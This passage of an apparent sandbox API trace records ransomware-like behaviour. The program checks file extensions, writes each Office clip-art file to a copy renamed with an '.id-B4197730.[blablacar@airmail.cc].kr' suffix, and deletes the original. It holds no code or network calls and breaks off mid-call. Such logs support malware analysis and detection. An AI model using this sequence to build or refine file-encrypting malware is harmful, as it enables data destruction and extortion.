Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.524] lstrlenW (lpString=".jpg") returned 4 [0204.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0204.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.525] lstrlenW (lpString=".doc") returned 4 [0204.525] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0204.525] lstrlenW (lpString=".docx") returned 5 [0204.525] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0204.525] lstrlenW (lpString=".pdf") returned 4 [0204.525] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0204.525] lstrlenW (lpString=".xls") returned 4 [0204.525] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0204.525] lstrlenW (lpString=".xlsx") returned 5 [0204.525] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0204.525] lstrlenW (lpString=".ppt") returned 4 [0204.525] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0204.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.525] lstrlenW (lpString=".zip") returned 4 [0204.525] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0204.525] lstrlenW (lpString=".rar") returned 4 [0204.525] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0204.525] lstrlenW (lpString=".bz2") returned 4 [0204.525] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0204.525] lstrlenW (lpString=".7z") returned 3 [0204.525] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0204.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.525] lstrlenW (lpString=".dbf") returned 4 [0204.525] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0204.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.525] lstrlenW (lpString=".1cd") returned 4 [0204.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0204.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.525] lstrlenW (lpString=".jpg") returned 4 [0204.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0204.526] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0204.526] lstrlenW (lpString="J0099205.WMF") returned 12 [0204.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0204.527] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=17854) returned 1 [0204.527] CloseHandle (hObject=0x51c) returned 1 [0204.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0204.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0204.528] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.528] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0204.529] GetLastError () returned 0x0 [0204.529] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x45be, lpOverlapped=0x0) returned 1 [0204.531] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x45c0, lpOverlapped=0x0) returned 1 [0204.532] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.532] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0204.532] SetEndOfFile (hFile=0x410) returned 1 [0204.532] CloseHandle (hObject=0x410) returned 1 [0204.532] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.532] SetEndOfFile (hFile=0x51c) returned 1 [0204.535] CloseHandle (hObject=0x51c) returned 1 [0204.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0204.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.537] lstrlenW (lpString=".doc") returned 4 [0204.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0204.537] lstrlenW (lpString=".docx") returned 5 [0204.537] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0204.537] lstrlenW (lpString=".pdf") returned 4 [0204.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0204.537] lstrlenW (lpString=".xls") returned 4 [0204.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0204.537] lstrlenW (lpString=".xlsx") returned 5 [0204.537] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0204.537] lstrlenW (lpString=".ppt") returned 4 [0204.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0204.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.537] lstrlenW (lpString=".zip") returned 4 [0204.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0204.537] lstrlenW (lpString=".rar") returned 4 [0204.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0204.537] lstrlenW (lpString=".bz2") returned 4 [0204.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0204.537] lstrlenW (lpString=".7z") returned 3 [0204.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0204.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.537] lstrlenW (lpString=".dbf") returned 4 [0204.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0204.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.537] lstrlenW (lpString=".1cd") returned 4 [0204.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0204.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.537] lstrlenW (lpString=".jpg") returned 4 [0204.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0204.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.538] lstrlenW (lpString=".doc") returned 4 [0204.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0204.538] lstrlenW (lpString=".docx") returned 5 [0204.538] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0204.538] lstrlenW (lpString=".pdf") returned 4 [0204.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0204.538] lstrlenW (lpString=".xls") returned 4 [0204.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0204.538] lstrlenW (lpString=".xlsx") returned 5 [0204.538] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0204.538] lstrlenW (lpString=".ppt") returned 4 [0204.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0204.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.538] lstrlenW (lpString=".zip") returned 4 [0204.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0204.538] lstrlenW (lpString=".rar") returned 4 [0204.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0204.538] lstrlenW (lpString=".bz2") returned 4 [0204.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0204.538] lstrlenW (lpString=".7z") returned 3 [0204.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0204.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.538] lstrlenW (lpString=".dbf") returned 4 [0204.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0204.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.538] lstrlenW (lpString=".1cd") returned 4 [0204.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0204.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0204.538] lstrlenW (lpString=".jpg") returned 4 [0204.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0204.539] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.539] lstrlenW (lpString="J0101856.BMP") returned 12 [0204.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0204.539] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=78840) returned 1 [0204.539] CloseHandle (hObject=0x51c) returned 1 [0204.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0204.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0204.540] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.540] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0204.541] GetLastError () returned 0x0 [0204.541] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x133f8, lpOverlapped=0x0) returned 1 [0204.813] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x13400, lpOverlapped=0x0) returned 1 [0204.815] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.815] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0204.815] SetEndOfFile (hFile=0x410) returned 1 [0204.815] CloseHandle (hObject=0x410) returned 1 [0204.815] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.816] SetEndOfFile (hFile=0x51c) returned 1 [0204.819] CloseHandle (hObject=0x51c) returned 1 [0204.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 1 [0204.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.820] lstrlenW (lpString=".doc") returned 4 [0204.820] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.820] lstrlenW (lpString=".docx") returned 5 [0204.820] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0204.820] lstrlenW (lpString=".pdf") returned 4 [0204.820] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.820] lstrlenW (lpString=".xls") returned 4 [0204.821] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.821] lstrlenW (lpString=".xlsx") returned 5 [0204.821] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0204.821] lstrlenW (lpString=".ppt") returned 4 [0204.821] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.821] lstrlenW (lpString=".zip") returned 4 [0204.821] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.821] lstrlenW (lpString=".rar") returned 4 [0204.821] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.821] lstrlenW (lpString=".bz2") returned 4 [0204.821] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.821] lstrlenW (lpString=".7z") returned 3 [0204.821] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.821] lstrlenW (lpString=".dbf") returned 4 [0204.821] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.821] lstrlenW (lpString=".1cd") returned 4 [0204.821] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.821] lstrlenW (lpString=".jpg") returned 4 [0204.821] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.821] lstrlenW (lpString=".doc") returned 4 [0204.821] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.821] lstrlenW (lpString=".docx") returned 5 [0204.821] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0204.821] lstrlenW (lpString=".pdf") returned 4 [0204.821] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.821] lstrlenW (lpString=".xls") returned 4 [0204.822] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.822] lstrlenW (lpString=".xlsx") returned 5 [0204.822] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0204.822] lstrlenW (lpString=".ppt") returned 4 [0204.822] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.822] lstrlenW (lpString=".zip") returned 4 [0204.822] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.822] lstrlenW (lpString=".rar") returned 4 [0204.822] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.822] lstrlenW (lpString=".bz2") returned 4 [0204.822] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.822] lstrlenW (lpString=".7z") returned 3 [0204.822] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.822] lstrlenW (lpString=".dbf") returned 4 [0204.822] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.822] lstrlenW (lpString=".1cd") returned 4 [0204.822] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0204.822] lstrlenW (lpString=".jpg") returned 4 [0204.822] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.822] lstrcmpiW (lpString1=".BMP", lpString2=".kr") returned -1 [0204.822] lstrlenW (lpString="J0101865.BMP") returned 12 [0204.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0204.824] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=32184) returned 1 [0204.824] CloseHandle (hObject=0x51c) returned 1 [0204.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 0x220 [0204.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0204.824] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.824] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0204.825] GetLastError () returned 0x0 [0204.825] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0204.827] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0204.829] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.829] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0204.829] SetEndOfFile (hFile=0x410) returned 1 [0204.829] CloseHandle (hObject=0x410) returned 1 [0204.829] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.829] SetEndOfFile (hFile=0x51c) returned 1 [0204.833] CloseHandle (hObject=0x51c) returned 1 [0204.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0204.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.834] lstrlenW (lpString=".doc") returned 4 [0204.834] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.834] lstrlenW (lpString=".docx") returned 5 [0204.834] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0204.834] lstrlenW (lpString=".pdf") returned 4 [0204.834] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0204.834] lstrlenW (lpString=".xls") returned 4 [0204.834] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0204.834] lstrlenW (lpString=".xlsx") returned 5 [0204.834] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0204.834] lstrlenW (lpString=".ppt") returned 4 [0204.834] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0204.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.834] lstrlenW (lpString=".zip") returned 4 [0204.834] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0204.834] lstrlenW (lpString=".rar") returned 4 [0204.834] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0204.835] lstrlenW (lpString=".bz2") returned 4 [0204.835] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0204.835] lstrlenW (lpString=".7z") returned 3 [0204.835] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0204.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.835] lstrlenW (lpString=".dbf") returned 4 [0204.835] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0204.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.835] lstrlenW (lpString=".1cd") returned 4 [0204.835] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0204.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.835] lstrlenW (lpString=".jpg") returned 4 [0204.835] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0204.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.BMP") returned 68 [0204.835] lstrlenW (lpString=".doc") returned 4 [0204.835] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0204.835] lstrlenW 